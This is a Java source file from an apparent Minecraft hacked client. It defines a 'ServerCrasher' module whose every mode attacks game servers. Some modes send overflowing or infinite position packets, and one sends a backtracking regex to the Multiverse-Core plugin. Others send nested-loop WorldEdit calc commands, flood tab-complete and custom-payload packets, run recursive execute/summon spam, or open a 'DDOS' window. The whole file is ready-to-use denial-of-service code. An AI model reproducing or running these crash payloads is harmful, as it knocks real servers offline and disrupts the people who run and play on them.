package zelix.hack.hacks;

import io.netty.buffer.Unpooled;
import net.minecraft.client.Minecraft;
import net.minecraft.item.ItemStack;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.*;
import net.minecraft.util.EnumHand;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.text.ITextComponent;
import net.minecraftforge.fml.common.gameevent.TickEvent;
import org.apache.commons.lang3.RandomUtils;
import zelix.gui.others.DDOSWindow;
import zelix.hack.Hack;
import zelix.hack.HackCategory;
import zelix.utils.Wrapper;
import zelix.value.Mode;
import zelix.value.ModeValue;
import zelix.value.NumberValue;

import java.util.Random;

public class ServerCrasher extends Hack {
    ModeValue mode;
   public static NumberValue threadNum;

   public static NumberValue delay;

    private Object example;
    private Minecraft mc = Wrapper.INSTANCE.mc();


    public ServerCrasher(){
        super("ServerCrasher" , HackCategory.ANOTHER);
        threadNum =new NumberValue("Thread", 1D, 1D, 128D);
        this.mode = new ModeValue("Mode" ,new Mode("mathoverflow" ,true) , new Mode("multiversecore" , false) , new Mode("ZwxDDOS" ,false) , new Mode("TabComplete" ,false) , new Mode("Infinity" ,false) , new Mode("WorldEdit" ,false) ,new Mode("Session" ,false),new Mode("OP" ,false),new Mode("WorldEdit2" ,false),new Mode("xACK" ,false) , new Mode("IllegalSwitcher" ,false));
        delay = new NumberValue("Delay", 1000D, 1D, 5000D);
       addValue(mode , threadNum ,delay);
}

    @Override
    public void onEnable(){
        if (mode.getMode("ZwxDDOS").isToggled()){
            DDOSWindow.main(null);
        }

        super.onEnable();
    }

    @Override
    public void onDisable() {
        super.onDisable();
    }

    @Override
    public void onPlayerTick(TickEvent.PlayerTickEvent e){
        if (mode.getMode("mathoverflow").isToggled()){
            Wrapper.INSTANCE.sendPacket(new CPacketPlayer.Position(1.7976931348623157E+308, 1.7976931348623157E+308, 1.7976931348623157E+308, Wrapper.INSTANCE.player().onGround));
        }else if (mode.getMode("multiversecore").isToggled()){
            Wrapper.INSTANCE.player().sendChatMessage("/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^");
        }
    }

    @Override
    public void onClientTick(TickEvent.ClientTickEvent event){
        if (mode.getMode("TabComplete").isToggled()){
            for (int i = 0; i < (delay.value); i++) {
                double rand1 = RandomUtils.nextDouble(0.0D, Double.MAX_VALUE);
                double rand2 = RandomUtils.nextDouble(0.0D, Double.MAX_VALUE);
                double rand3 = RandomUtils.nextDouble(0.0D, Double.MAX_VALUE);
                mc.player.connection.sendPacket(new CPacketTabComplete("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎", new BlockPos(rand1, rand2, rand3), false));
            }
        }else if (mode.getMode("Infinity").isToggled()){
            mc.player.connection.sendPacket(new CPacketPlayer.Position(Double.POSITIVE_INFINITY, Double.POSITIVE_INFINITY, Double.POSITIVE_INFINITY, (new Random()).nextBoolean()));
            mc.player.connection.sendPacket(new CPacketPlayer.Position(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, (new Random()).nextBoolean()));
        }else if (mode.getMode("WorldEdit").isToggled()){
            if (mc.player.ticksExisted % 6 == 0) {
                mc.player.sendChatMessage("//calc for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}");
                mc.player.sendChatMessage("//calculate for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}");
                mc.player.sendChatMessage("//solve for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}");
                mc.player.sendChatMessage("//evaluate for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}");
                mc.player.sendChatMessage("//eval for(i=0;i<256;i++){for(j=0;j<256;j++){for(k=0;k<256;k++){for(l=0;l<256;l++){ln(pi)}}}}");
            }
        }else if (mode.getMode("Session").isToggled()){
            for (int i = 0; i < 500; i++) {
                mc.player.connection.sendPacket(new CPacketCustomPayload("REGISTER", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("MC|Brand", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("REGISTER", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("MC|BOpen", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("REGISTER", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("MC|TrList", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("REGISTER", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("MC|TrSel", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("REGISTER", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("MC|BEdit", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("REGISTER", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
                mc.player.connection.sendPacket(new CPacketCustomPayload("MC|BSign", (new PacketBuffer(Unpooled.buffer().readerIndex(0).writerIndex(256).capacity(256)).writeString("뛠뎕곢邆転鞇뻡讉ꋒ뫠㪒潨牵汧獡㩳균鎩裣ꦉ닡릎"))));
            }
        }else if (mode.getMode("OP").isToggled()){
            for (int i = 0; i < 250; i++)
                mc.player.sendChatMessage("/execute @e ~ ~ ~ execute @e ~ ~ ~ execute @e ~ ~ ~ execute @e ~ ~ ~ summon Villager");
        }else if (mode.getMode("WorldEdit2").isToggled()){
            for (int i = 0; i < 250; i++)
                mc.player.connection.sendPacket(new CPacketCustomPayload("WECUI", (new PacketBuffer(Unpooled.buffer())).writeString("\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI XUI")));
        } else if (mode.getMode("xACK").isToggled()) {
            for (int i = 0; i < 5000; i++)
                mc.player.connection.sendPacket(new CPacketAnimation(EnumHand.OFF_HAND));
        } else if (mode.getMode("IllegalSwitcher").isToggled()) {
            for (int i = 0; i < 550; i++) {
                for (int i2 = 0; i2 < 8; i2++)
                    mc.player.connection.sendPacket(new CPacketHeldItemChange(i2));
            }
        }
    }
}
